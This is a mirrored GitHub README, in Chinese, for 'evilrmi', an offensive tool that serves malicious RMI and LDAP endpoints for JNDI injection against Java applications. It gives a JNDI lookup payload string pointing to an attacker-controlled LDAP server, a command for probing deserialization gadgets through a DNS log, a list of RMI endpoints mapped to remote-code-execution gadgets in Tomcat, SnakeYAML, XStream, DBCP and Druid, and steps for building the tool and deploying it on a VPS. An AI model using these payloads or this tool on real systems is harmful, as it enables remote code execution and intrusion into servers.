GithubHelp home page GithubHelp logo

evilrmi's Introduction

探测可用的gadget

UrlDns 启动LDAP服务:

java -jar Urldns.jar ldap all <dnslog>

JNDI加载LDAP:${jndi:ldap://<ip>:1389/Hello},利用LDAP反序列化的特性使用URLDNS探测存在的gadget

如果DNS未出网,可以使用延时探测: 构造java探测class反序列化gadget

执行命令测试成功:

tomcat_el
tomcat_el_runtime
tomcat_MVEL
tomcat_xstream
tomcat_snakeyaml
tomcat_tomcat_dbcp2_RCE
druid

RmiServer

  • rmi://127.0.0.1:1099/tomcat_el
  • rmi://127.0.0.1:1099/tomcat_el_runtime
    • javax_el_ELProcessor
  • rmi://127.0.0.1:1099/tomcat_groovy
  • rmi://127.0.0.1:1099/tomcat_snakeyaml
    • org_yaml_snakeyaml_Yaml
  • rmi://127.0.0.1:1099/tomcat_xstream
    • Xstream <= 1.4.17
  • rmi://127.0.0.1:1099/tomcat_MVEL
    • org_mvel2_sh_ShellSession
  • rmi://127.0.0.1:1099/tomcat_xxe
    • org_apache_catalina_UserDatabase
  • rmi://127.0.0.1:1099/tomcat_dbcp2_RCE
    • org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory
  • rmi://127.0.0.1:1099/tomcat_dbcp1_RCE
    • org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory
  • rmi://127.0.0.1:1099/commons_dbcp2_RCE
    • org.apache.commons.dbcp2.BasicDataSourceFactory
  • rmi://127.0.0.1:1099/commons_dbcp1_RCE
    • org.apache.commons.dbcp.BasicDataSourceFactory
  • rmi://127.0.0.1:1099/tomcat_JDBC_RCE
    • org.apache.tomcat.jdbc.pool.DataSourceFactory
  • rmi://127.0.0.1:1099/druid
    • com.alibaba.druid.pool.DruidDataSourceFactory

编译运行(注意放到VPS的时候修改java.rmi.server.hostname)

  1. File -> Project Structure -> Artifats -> + -> Add Jar -> Main Class -> com.rmi.RmiServer
  2. Build -> Build Artifats
  3. java -cp EvilRMI.jar com.rmi.RmiServer

参考链接

evilrmi's People

Contributors

jkme avatar

Stargazers

 avatar  avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.